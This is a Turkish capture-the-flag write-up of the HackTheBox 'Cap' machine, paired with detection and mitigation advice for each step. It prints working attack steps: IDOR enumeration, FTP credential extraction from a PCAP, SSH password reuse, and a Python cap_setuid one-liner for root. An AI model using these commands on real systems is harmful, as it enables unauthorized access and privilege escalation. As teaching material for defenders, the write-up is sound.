HackTheBox Cap Writeup
HTB Starting Point Cap makinesi: /data/0 IDOR ile başka kullanıcının PCAP'i, FTP düz metin şifre, SSH şifre tekrarı ve cap_setuid ile root.
HackTheBox Cap Writeup#
HTB Starting Point makinelerinden Cap. Bir "Security Dashboard" var, URL'sinde küçük bir sayı: /data/1. Onu 0'a çevirince başka birinin trafik kaydı önüme düşüyor. PCAP'in içinde FTP'nin düz metin gönderdiği kullanıcı adı ve şifre, aynı şifre SSH için de geçiyor. Root'a çıkış ise Python'un üstündeki bir Linux capability ile.
Bu writeup'ta sadece adımları sıralamıyorum; her adımın neden işe yaradığını, gerçek bir ortamda nasıl tespit edileceğini ve nasıl engelleneceğini de anlatıyorum. Amaç tek seferlik bayrak almak değil, aynı dört zafiyetin bir kurumda nasıl yan yana durduğunu görmek.
Threat Model: Dört Kapı#
Cap makinesini dört ayrı kapı olarak düşünmek işe yarar:
+------------------+ +------------------+ +------------------+ | 1. Web kapısı | ---> | 2. Veri kapısı | ---> | 3. SSH kapısı | | IDOR: /data/0 | | PCAP sızıntısı | | Şifre tekrarı | +------------------+ +------------------+ +------------------+ | v +------------------+ | 4. Yetki kapısı | | cap_setuid root | +------------------+
Dörtlü bir zincir: webdeki yanlış yetki kontrolü (1) trafik kaydını sızdırıyor (2), sızdırılan FTP şifresi SSH'ta tekrar kullanıldığı için kullanıcı oturumu veriyor (3), Python binary'sindeki yanlış capability de root'a çıkarıyor (4). Zincirin tek halkası koparılsa root imkansız; ama her halka tek başına da gerçek dünyada bulunan bir hatadır.
Trust Boundaries#
Bu makinede üç güven sınırı var:
- Tarayıcı ve sunucu arası: kullanıcı kendi
/data/1kaydını görmeli, başkasınınkini görmemeli. Bu sınır IDOR ile kalkıyor. - Ağ düzlemi: FTP istemcisi ile sunucu arası hesap dinlemekte olan herkes okur. Bu sınır FTP yerine TLS'li protokol konsaydı kapanırdı.
- Kullanıcı ve root arası:
nathankullanıcısı Python'u çalıştırabilir amasetuid(0)çağıramamalı. Capabilitycap_setuidbu sınırı kaldırıyor.
[internet] --HTTPS?--> [nginx/gunicorn] --unix--> [app] | /data/{id} <-- güven sınırı 1 (sahiplik kontrolü yok) | [pcap dosya] | [FTP USER/PASS] <-- güven sınırı 2 (düz metin) | ssh nathan <-- güven sınırı 3 (cap_setuid)
1. Keşif: Nmap#
nmap -Pn -sV -sC -T4 --top-ports 1000 10.129.61.255
Tipik çıktı:
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 80/tcp open http gunicorn
Üç port, üç bilgi: FTP düz metin riski taşır, SSH tekrar kullanılacak şifrenin kapısı olabilir, 80 portunda ise web uygulaması var. İlk merak her zaman 80.
Alt dizin taraması da faydalı olur çünkü endpoint isimleri ipucu verir:
ffuf -u http://10.129.61.255/FUZZ -w common.txt -mc 200,301,302 # /data/1 [200] # /security/dashboard [200]
2. Web: Dashboard#
Sol menüde "Security Snapshot" linki. Tıklayınca URL /data/1. Sayfada ağ capture'ı ve Download butonu. Kendi capture'ını indirip tshark ile aç:
tshark -r capture1.pcap -Y "http" -T fields -e http.request.uri | head
İçerikte kendi dashboard trafiğinden başka bir şey yok. Bu, veri akışının gerçek olduğunu ve capture'ların dosya olarak saklandığını doğrular. Sıradaki soru: dosya başkalarına da açık mı?
3. IDOR: /data/0#
Sıralı ID söz konusu olduğunda ilk deneme her zaman komşu kayıt:
GET /data/1 -> 200, kendi pcap GET /data/0 -> 200, başka birinin pcap GET /download/0 -> 200, pcap dosyası
Sunucu "bu sayfa sana mı ait" diye hiç sormuyor. Buna IDOR (Insecure Direct Object Reference) deniyor: nesneye doğrudan erişim var, yetkilendirme yok.
Kavramsal olarak sunucu şu kontrolü yapmıyor:
def get_snapshot(uid, snapshot_id): snap = db.get(snapshot_id) if snap.owner_id != uid: # BU SATIR YOK abort(403) return snap
Olması gereken kontrol tam olarak o. Ayrıca tahmin edilebilir ID yerine snapshot_id = secrets.token_urlsafe(16) gibi rastgele değer kullanmak yüzeyi daraltır ama tek başına yetmez.
IDOR'un tespiti#
Gerçekçi tespit, tek satırlık alarmdan çok iki kullanıcılı testtir: A hesabıyla B hesabının kaynağına istek at, 200 dönüyorsa bulgu. CI'da bunu otomatikleştiren örnek bir akış:
1. user_a ile /data/1 oluştur 2. user_b token'i ile /data/1 iste 3. HTTP 403 beklenir; 200 dönüyorsa IDOR
Uygulama tarafında GET /data/{id} erişimleri için iki satır kayıt (isteyen uid, kaynak owner_id) tutulursa alarm eşleştirmesi basittir.
4. PCAP ve FTP#
İndirilen capture0.pcap içinde credentials arıyorum. FTP 1971'den beri düz metin çalışır; hiçbir şifreleme katmanı yoktur:
tshark -r capture0.pcap -Y "ftp" -T fields \ -e ftp.request.command -e ftp.request.arg
USER nathan PASS Buck3tH4TF0RM3!
Alternatif olarak tek satırda:
strings capture0.pcap | grep -E "USER|PASS" grep -a -o "USER [^ ]*\|PASS [^ ]*" capture0.pcap | head
sızdırılan hassas bilginin hangi protokollerde açık metin aktığına dair bilinen liste:
| Protokol | Taşıdığı sır | Düz metin mi | Güvenli alternatif |
|---|---|---|---|
| FTP | USER/PASS | Evet | SFTP, FTPS |
| HTTP | Authorization, cookie | Evet | HTTPS |
| Telnet | tüm oturum | Evet | SSH |
| SMTP (587 öncesi) | AUTH | Evet | Submission + STARTTLS |
| HTTP kapalı tünel (VPN) | iç trafik | Hayır sayılır | TLS |
Tespit#
Bir ağda 21. portta düzenli USER/PASS akışı IDS için yüksek sinyaldir. Suricata ile basit bir kural:
alert tcp any any -> any 21 (msg:"FTP cleartext credentials"; content:"PASS"; nocase; sid:1000001;)
5. SSH ile İçeri#
Şifre tekrarı insan davranışının değişmeyen parçasıdır. Aynı şifreyi SSH'ta deniyorum:
ssh nathan@10.129.61.255 # Buck3tH4TF0RM3! nathan@cap:~$ cat ~/user.txt
Ayrıca kurtarılan bir parola ile hydra veya medusa önerilmez; Starting Point kapsamında makine sahibinin makinede olduğunu varsay, ama gerçek bir ortamda böyle bir deneme hesap kilitleme kurallarına takılır.
Şifre tekrarını önlemenin yolları: parola yöneticisi zorunluluğu, 2FA, SSO ve sunucu tarafında "son N parolayı reddet" politikası.
Tespit#
Fail2ban ve auth.log üzerinden: aynı IP'den 5 dakikada 5 başarısız SSH, ardından bir başarılı oturum şüpheli bir örüntüdür. EDR'de "yeni kullanıcı ile yeni makinede açılan ilk oturum" da iyi bir alarmdır.
6. Root: cap_setuid#
Makinede nathan listede sudo -l çıktısı boş dönüyor, SUID bitli ilginç dosya yok. Üçüncü kapı: Linux capabilities. Bir programın ihtiyaç duyduğu yetkiyi root'un tamamını vermeden tanımlama fikri doğru, ama yanlış yapılandırılırsa eskalasyon kapısı olur.
getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
cap_setuid Python'a şunu söyler: setuid(0) çağırabilirsin. Yani nathan'ın kullanacağı Python, kendini root'a dönüştürebilir:
python3.8 -c "import os; os.setuid(0); os.system('id; cat /root/root.txt')"
uid=0(root) gid=1001(nathan) groups=1001(nathan)
os.setuid(0) süreci kalıcı olarak root yapar; os.system ile çalıştırılan komut root yetkisiyle koşar. id çıktısında euid değil doğrudan uid=0 görünmesi, kalıcı tanımlandığını gösterir.
Tehlikeli capability listesi#
| Capability | Neden tehlikeli |
|---|---|
| cap_setuid / cap_setgid | kullanıcıya geçip root olabilirsin |
| cap_dac_read_search | dosya izinlerini atla |
| cap_sys_ptrace | başka sürecin belleğini oku |
| cap_sys_admin | neredeyse root eşdeğeri |
| cap_net_raw | packet crafting, ARP spoof |
| cap_net_bind_service | düşük port bağla (tek başına düşük risk) |
Tespit#
Düzenli envanter:
getcap -r / 2>/dev/null | tee /var/log/cap-audit-$(date +%F).log
Bu çıktının beklenmeyen değişimi (yeni binary eklenmesi, mevcut binary'de capability artışı) alarm seviyesinde olaydır. Tripwire/AIDE tarzı bütünlük araçlarına getcap çıktısı eklenebilir. Ayrıca capsh --print ile bir sürecin efektif set'i görüntülenebilir.
7. Version Differences: Capability Mekanizması#
- Linux 2.2 ve öncesi: tüm ayrıcalıklar root'a paket; SUID dışında granüler yetki yok.
- Linux 2.6+ (capability eklenmesi):
setuidgibi büyük bloklar capability'lere bölündü.cap_setuido tarihte deneyseldi. - Linux 3.+:
no_new_privsbiti, securebits ve bounding set eklendi.capsh --bounding-setile bir sürecin edinebileceği maksimum capability listesi kısıtlanabilir. - Linux 5.+:
CAP_CHECKPOINT_RESTOREgibi yeni capability'ler geldi;cap_perfmon,cap_bpfayrıldı. Eski tekCAP_SYS_ADMINüzerinden verilen yetki artık daha bölünmüş. - Docker vb.: konteyner varsayılan bounding set'i 14 capability içerir ve
cap_setuidgenelde açıktır;--cap-drop=ALL --cap-add=NET_BIND_SERVICEkalıbı bugün iyi pratiktir.
Bu makinedeki Python 3.8 ikilisi, paket bağımlılığıyla gelen beklenmedik bir ikililiğe (base image'da python3.8, kullanıcıda python3) dayanıyor. Sürüm farklarını envanterde görmek için:
ls -la /usr/bin/python* /usr/local/bin/python* dpkg -S /usr/bin/python3.8
8. Mitigation: Dört Halka da Kapatılmalı#
IDOR için:
- Her nesne erişiminde sahiplik kontrolü:
snap.owner_id == current_user.id, aksi halde 403. - Tahmin edilemeyen ID (
secrets.token_urlsafe(16)), fakat tek başına yeterli sayılmaz. - Merkezi authz guard: route dekoratörü veya middleware ile tek yerden uygulama.
FTP için:
- Servisi kapat; yerine SFTP (OpenSSH, port 22) veya HTTPS üzerinden aktarım kullan.
- PCAP ve log arşivlerini public dizinde tutma; saklama süresi ve erişim log'u tanımla.
Şifre tekrarı için:
- Parola yöneticisi ve benzersiz parola; kritik hesaplarda donanım destekli 2FA.
- SSH için parola yerine anahtar +
PasswordAuthentication no+ fail2ban.
Capability için:
cap_setuidgibi yüksek riskli capability'leri hiçbir binary'e kalıcı verme.- Paket kurulumundan sonra
getcap -r /taraması; beklenmeyen satırı diff ile yakalama. - Servislerde systemd ile
AmbientCapabilities=,CapabilityBoundingSet=satırlarını boş/asgari tut.
9. ASCII Attack Chain Özeti#
[Dashboard] --/data/0 IDOR--> [capture0.pcap] | tshark / strings v USER nathan / PASS x | ssh nathan@target v nathan@cap:~$ | getcap -> python3.8=cap_setuid v python3.8 -c 'os.setuid(0); ...' v root# cap
10. Geriye Bakınca#
Her adımın bir "neden"i vardı: web'e ilk baktım çünkü web uygulamaları zayıf halkadır; /data/0'u denedim çünkü sıralı ID her zaman şüphe uyandırır; FTP'de şifre aradım çünkü düz metindir; SSH'ta aynı şifreyi denedim çünkü tekrar kullanılır; getcap baktım çünkü sudo ve SUID yoksa capabilities üçüncü kapıdır.
Nmap → Web kesfi → IDOR (/data/0) → PCAP + FTP → SSH → cap_setuid → ROOT
Savunma Özeti#
- FTP kullanıyorsan kapısını kapat: düz metin ve kimlik bilgisi açık şekilde ağda dolaşır; SFTP (port 22) veya HTTPS üzerinden dağıt.
- PCAP dosyaları günlük bir arşiv gibi açık paylaşımda saklanmaz; URL'de sıralı ID kullanıyorsan IDOR'a karşı sahiplik kontrolü zorunlu.
- Linux capabilities principle-of-least-privilege ile ver;
cap_setuidgibi yüksek sinyalli capability'leri hiçbir binary'de tutma. Paket kurulumu sonrasıgetcap -r /ile düzenli tarama yap. - Zinciri düşün: tek bir
sshd_configsatırı, tek bir authz kontrolü veya tek birgetcapdiff'i bu zincirin tamamını kırar. Savunma derinliği her halkaya ayrı kontrol koymaktır.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver